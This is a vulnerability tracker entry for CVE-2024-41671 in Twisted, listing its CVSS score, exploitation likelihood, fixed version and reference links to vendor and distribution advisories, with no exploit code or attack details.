CVE-2024-41671 is a high vulnerability (CVSS 8.3) in Twisted, published July 29, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.86%, the 58th percentile. Fixed in twisted 24.7.0rc1.
References
github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7
github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33
github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc
vicarius.io/vsociety/posts/disordered-http-pipeline-in-twistedweb-cve-2024-4167
lists.debian.org/debian-lts-announce/2024/11/msg00028.html
nvd.nist.gov/vuln/detail/CVE-2024-41671
Show 28 moreShow less
github.com/advisories/GHSA-c8m8-j448-xjx7
security.alpinelinux.org/vuln/CVE-2024-41671
github.com/CVEProject/cvelistV5/tree/main/cves/2024/41xxx/CVE-2024-41671.json
security-tracker.debian.org/tracker/CVE-2024-41671
github.com/twisted/twisted
advisories.mageia.org/MGASA-2025-0054.html
bugs.mageia.org/show_bug.cgi?id=33807
ubuntu.com/security/notices/USN-6575-1
ubuntu.com/security/notices/USN-6988-1
ubuntu.com/security/notices/USN-6988-2
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2024-1983
nvd.nist.gov/vuln/detail/CVE-2024-41810
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2024-1984
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2024-1985
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2024-1986
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2024-2052
pypi.org/project/twisted
suse.com/support/update/announcement/2024/suse-su-20242732-1
bugzilla.suse.com/1228549
bugzilla.suse.com/1228552
suse.com/security/cve/CVE-2024-41671
suse.com/security/cve/CVE-2024-41810
suse.com/support/update/announcement/2024/suse-su-20242757-1
suse.com/support/update/announcement/2024/suse-su-20242860-1
suse.com/support/update/announcement/2024/suse-su-20242880-1
ubuntu.com/security/CVE-2024-41671
cve.org/CVERecord?id=CVE-2024-41671
ubuntu.com/security/CVE-2024-41810
Left out here: 49 versions. The JSON record has them.